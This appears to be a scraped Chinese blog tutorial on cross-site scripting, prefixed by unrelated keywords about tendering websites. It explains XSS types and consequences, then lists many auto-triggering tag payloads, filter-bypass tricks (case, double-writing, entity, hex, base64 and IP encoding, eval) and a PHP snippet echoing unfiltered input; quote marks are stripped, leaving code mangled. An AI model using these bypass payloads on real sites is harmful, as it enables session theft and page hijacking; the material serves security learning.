省厅网站建设招标,四川建设网电话号码是多少,中国招投标网证书查询平台,孝义网站建设一、xss漏洞通常是通过php的输出函数将javascript代码输出到html页面中#xff0c;通过用户本地浏览器执行的#xff0c;所以xss漏洞关键就是寻找参数未过滤的输出函数。 二、XSS的攻击方式
1、 反射型XSS#xff1a;非持久化 攻击者事先制作好攻击链接, 需要欺骗用…一、xss漏洞通常是通过php的输出函数将javascript代码输出到html页面中通过用户本地浏览器执行的所以xss漏洞关键就是寻找参数未过滤的输出函数。 二、XSS的攻击方式
1、 反射型XSS非持久化 攻击者事先制作好攻击链接, 需要欺骗用户自己去点击链接才能触发XSS代码服务器中没有这样的页面和内容一般容易出现在搜索页面。一般是后端代码进行处理
2、存储型XSS持久化 代码是存储在服务器数据库中的如在个人信息或发表文章等地方加入代码如果没有过滤或过滤不严那么这些代码将储存到服务器中每当有用户访问该页面的时候都会触发代码执行这种XSS非常危险容易造成蠕虫大量盗窃cookie虽然还有种DOM型XSS但是也还是包括在存储型XSS内
3、DOM型XSS基于文档对象模型Document Objeet ModelDOM)的一种漏洞。客户端的脚本程序可以通过DOM动态地检查和修改页面内容它不依赖于提交数据到服务器端而从客户端获得DOM中的数据在本地执行如果DOM中的数据没有经过严格确认就会产生DOM XSS漏洞。一般是浏览器前端代码进行处理
三、导致的结果
1.挂马
2.盗取用户Cookie。
3.DOS拒绝服务客户端浏览器。
4.钓鱼攻击高级的钓鱼技巧。
5.删除目标文章、恶意篡改数据、嫁祸。
6.劫持用户Web行为甚至进一步渗透内网。
7.爆发Web2.0蠕虫。
8.蠕虫式的DDoS攻击。
9.蠕虫式挂马攻击、刷广告、刷浏量、破坏网上数据
10.其它安全问题四、一些自动触发JS代码的标签
1、script
script alert(登录成功); /script
script console.log(登录成功); /script
2、img
// onerror 参数若 image.png 加载失败则会执行 onerror 的内容
img srcimage.png onerroralert(Failed to load image)
3、input
1
// 当鼠标焦点在text输入框中时会自动触发 onfocus 后的内容
form actioninput typetext nametext onfocusalert(ww);
/form
2
// autofocus 会自动定位输入框的位置然后就会自动执行 onfocus 后的内容
form actioninput typetext nametext onfocusalert(ww) autofocus
/form
3
// onblur 是当鼠标定位到输入框再移动开时会触发 onblur 之后的js代码
form actioninput typetext nametext onbluralert(ww) autofocus
/form
4
// onclick 是要点击后才会触发
form actioninput typesubmit namesubmit valueww onclickalert(ww);
/form
4、details
1
// 当点击展开时触发 ontoggle 后的内容然后显示 summary 后面的内容
details ontogglealert(ww);summaryCopyright 2011./summarypAll pages and graphics on this web site are the property of W3School./p
/details
2
// open 属性可以自动触发 ontoggle 后面的内容
details open ontogglealert(1);summaryCopyright 2011./summarypAll pages and graphics on this web site are the property of W3School./p
/details
5、svg
//用来在HTML页面中直接嵌入SVG 文件的代码onload 后的内容直接触发
svg onloadalert(1);6、select
1
// 点击下拉菜单时会触发 onfocus 后面的内容
select onfocusalert(1)option1/optionoption2/optionoption3/option
/select
2
// autofocus 会不用点击自动触发 onfocus 后的内容
select onfocusalert(1) autofocusoption1/optionoption2/optionoption3/option
/select
7、ifream
// 在显示嵌入内容前自动执行 onload 后的内容
iframe onloadalert(1);/iframe
8、video
// 在显示 video 失败后执行 onerror 后的内容
videosource onerroralert(1)9、audio
// 在音频加载失败后执行 onerror 后的内容
audio srcx onerroralert(1);
10、body
1
// 在加载 body 标签时执行 onload 后的内容
body onloadalert(1);p132p
/body
2
// onscroll 是在滑动滚轮的时候执行后面的代码
body onscrollalert(1);
brbrbrbrbrbrbrbrbrbrbrbrbrbrbrbrbrbrbrbrbrbrbr
brbrbrbrbrbrbrbrbrbrbrbrbrbrbrbrbrinput autofocusp123p
/body
11、textarea
// 自动聚焦自动执行 onfocus 后的内容
textarea onfocusalert(1); autofocus
/textarea
五、一些绕过过滤的方法
1.空格过滤如果空格被过滤了我们可以用
1/
2/**/
补充
input name1typetextvalue2 // 是可以正常执行的也就是各个属性之间不需要空格
inputname1typetextvalue2 // 不能正常执行
可以用 /**/ 或 / 进行绕过空格
img/**/srcx/**/onerroralert(1);
img/srcx/onerroralert(1);
2.引号过滤
如果是html标签中我们可以不用引号。如果是在js中我们可以用反引号代替单双引号
# 反引号 位于键盘右上角 esc 下面
img srcx onerroralert(xss);
3.括号过滤
当括号被过滤的时候可以使用throw来绕过。throw 语句用于当错误发生时抛出一个错误。
img srcx onerrorjavascript:window.onerroralert;throw ww
a onmouseoverjavascript:window.onerroralert;throw ww
4.关键字过滤 1大小写绕过
sCRiPtalert(ww);/sCrIpT
ImG sRcx onerRoralert(ww);
2双写绕过
有些waf可能会只替换一次且是替换为空这种情况下我们可以考虑双写关键字绕过
scrscriptiptalert(1);/scrscriptipt
imimgg srsrccx onerroralert(1);
5.字符串拼接绕过利用eval()函数
与PHP的eval()函数相同JavaScript的eval()函数也可以计算 JavaScript 字符串并把它作为脚本代码来执行。
img src x onerroreval(alert(ww))
img srcx onerroraaler;bt;c(ww);eval(abc)
6.编码绕过
1Unicode编码绕过
1分号可有可无,# 后跟字符ascii的10进制
img srcx onerror#97;#108;#101;#114;#116;#40;#34;#120;#115;#115;#34;#41;#59;2#x 后跟字符ascii的16进制
img srcx onerrorjavasc#x72;#x69;pt:alert(xss)3使用 unicode 编码时必须使用 eval()\u 后跟4位16进制数
img srcx onerroreval(\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b)
2url编码绕过
iframe srcdata:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E/iframe
# 数据url,以 data:text/html开头后面嵌入代码
3ascii码绕过
img srcx onerroreval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))
# String.fromCharCode() 它用于根据给定的 Unicode 值创建一个字符串
4hex绕过
img srcx onerroreval(\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29)5base64绕过
img srcx onerroreval(atob(ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw))
# atob() 是 base64 解码函数iframe srcdata:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4
7.过滤url地址
1使用url编码
img srcx onerrordocument.locationhttp://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d/img srcx onerrorlocationjavasc#x72;#x69;pt:alert(xss)2使用IP
1.十进制IP
img srcx onerrordocument.locationhttp://2130706433/
2.八进制IP
img srcx onerrordocument.locationhttp://0177.0.0.01/
3.十六进制IP
img srcx onerrordocument.locationhttp://0x7f.0x0.0x0.0x1/
4.html标签中用 // 可以代替 http://
img srcx onerrordocument.location//www.baidu.com
5.使用 \\ 但是要注意在windows下\本身就有特殊用途是一个path 的写法所以\\在Windows下是file协议在linux下才会是当前域的协议
6.使用中文逗号代替英文逗号如果你在你在域名中输入中文句号浏览器会自动转化成英文的逗号
img srcx onerrordocument.locationhttp://www。baidu。com
8.单引号闭合htmlspecialchars函数绕过
οnmοuseοveralert(/xss/)
9.JavaScript伪协议
a hrefjavascript:alert(/xss/) o_n和scr_ipt过滤 六、过滤函数
1、htmlspecialchars($string, $flags, $encoding, $double_encode)
1$flag : 关注的参数有 ENT_QUOTES 和 ENT_HTML5
1、只有 ENT_HTML5 跟没有一样只做如下操作
把 转义为 quot
把 转义为 lt
把 转义为 gt
把 转义为 amp不做处理2、只有 ENT_QUOTES 会对单引号进行转义
把 转义为 quot
把 转义为 lt
把 转义为 gt
把 转义为 amp
把 转义为 #0393、ENT_QUOTES | ENT_HTML5
把 转义为 quot
把 转义为 lt
把 转义为 gt
把 转义为 amp
把 转义为 apos
2$encoding 用于指定字符编码的字符串如果未指定则默认使用脚本的字符编码
3$double_encode 一个布尔值表示是否对已存在的 HTML 实体进行二次转义。默认为 true
七、绕过过滤的常见事件总结
1、鼠标相关
1onclick鼠标单击事件
2onmouseover鼠标移入事件
3onmouseout鼠标移出事件
2、键盘相关
1onkeydown键盘键按下事件
2onkeyup 键盘键松开事件
3、表单相关
1onfocus输入框获取焦点事件
2onblur输入框失去焦点事件
3onchange下拉列表 内容改变事件
4onsubmit表单提交事件
4、其他
1onload页面加载事件 补充
1、如果网页请求方式为 get
1若是在url中直接对变量赋值例如 index.php?ida#x6a 在 url 提交后浏览器会自动对 id 的值进行过滤对 号包括 号后面的内容进行置空
2若是在表单中对变量进行赋值则会对 #x6a 进行解码在界面中显示 j
?php$str $_GET[id];echo form action# methodgetinput typetext nameidinput typesubmit value提交/form;echo $str;
?
2、有时候进行标签闭合时后单双引号都可以
?php$str $_GET[id];echo form action# methodgetinput typetext nameidinput typesubmit value提交/form;echo $str;
?在表单中使用 a 标签时a hrefjavascript:alert(1)111/a 和a hrefjavascript:alert(1)111/a 都可以进行xss注入
3、无法对标签使用 html 编码
1可以对 a 标签的 href 属性内容用 html 编码
a href#106;#97;#118;#97;#115;#99;#114;#105;#112;#116;#58;#97;#108;#101;#114;#116;#40;#49;#41;111/a
2可以对事件属性使用 html 编码 onclick#106;#97;#118;#97;#115;#99;#114;#105;#112;#116;#58;#97;#108;#101;#114;#116;#40;#49;#41; o
3对 iframe 标签的 src 属性内容使用 html 编码
原代码iframe srcdata:text/html,scriptalert(xss)/script/iframe
html转码后
iframe src#100;#97;#116;#97;#58;#116;#101;#120;#116;#47;#104;#116;#109;#108;#44;#60;#115;#99;#114;#105;#112;#116;#62;#97;#108;#101;#114;#116;#40;#39;#120;#115;#115;#39;#41;#60;#47;#115;#99;#114;#105;#112;#116;#62;/iframe4、html 编码若是在属性中才会被解码
1script alert(#x61) /script 此时弹窗显示的是 #x61
2a hrefjavascript:alert(#x61)111/a 此时弹窗显示的是 a